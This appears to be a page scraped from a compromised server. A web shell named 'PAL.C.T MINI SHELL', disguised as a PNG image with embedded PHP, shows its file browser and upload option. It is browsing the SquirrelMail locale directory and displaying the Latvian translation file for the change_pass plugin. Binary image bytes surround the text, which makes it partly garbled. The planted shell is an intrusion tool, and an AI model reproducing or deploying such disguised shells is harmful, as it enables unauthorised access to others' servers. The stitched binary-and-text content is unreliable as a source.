php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/lv_LV/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/lv_LV/LC_MESSAGES/change_pass.po

# Latvian (lv_LV) change_pass Translation (SquirrelMail plugin)
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Ivars Strazdiņš <ivars.strazdins@gmail.com>, 2008.
# $Id: change_pass.pot 10877 2006-03-04 11:22:22Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: change_pass 2.7\n"
"POT-Creation-Date: 2003-09-12 12:12-0600\n"
"PO-Revision-Date: 2008-06-16 17:33+0300\n"
"Last-Translator: Ivars Strazdiņš <ivars.strazdins@gmail.com>\n"
"Language-Team: Latvian <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"

#: options.php:36 setup.php:18
msgid "Change Password"
msgstr "Nomainīt paroli"

#: options.php:77
msgid "Closing Connection"
msgstr "Aizveru savienojumu"

#: options.php:137
msgid "Connecting to Password Server"
msgstr "Savienojos ar paroles turētāju serveri"

#: options.php:141
msgid "ERROR:"
msgstr "KĻŪDA:"

#: options.php:52
msgid "New Password"
msgstr "Jaunā parole"

#: options.php:51
msgid "Old Password"
msgstr "Pašreizējā parole"

#: options.php:173 setup.php:35
msgid "Password changed successfully."
msgstr "Parole sekmīgi nomainīta"

#: options.php:64
msgid "Submit"
msgstr "Nomainīt"

#: setup.php:20
msgid ""
"This connects to your local Password Server to change your email password."
msgstr ""
"Savienos ar lokālo paroļu serveri lai nomainītu jūsu e-pasta paroli."

#: options.php:53
msgid "Verify New Password"
msgstr "Apstiprināt jauno paroli "

#: options.php:112
msgid "You must also type in your new password in the verify box."
msgstr "Jaunā parole jāraksta vēlreiz apstiprinājuma laukā."

#: options.php:109
msgid "You must type in a new password."
msgstr "Jums jāieraksta jaunā parole."

#: options.php:106
msgid "You must type in your old password."
msgstr "Jums vispirms jāieraksta pašreizējā parole."

#: options.php:115
msgid "Your new password doesn't match the verify password."
msgstr "Jūsu jaunā parole nesakrīt ar apstiprinājuma paroli."

#: options.php:118
msgid "Your old password is not correct."
msgstr "Jūsu pašreizējā parole ir ierakstīta nepareizi."
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`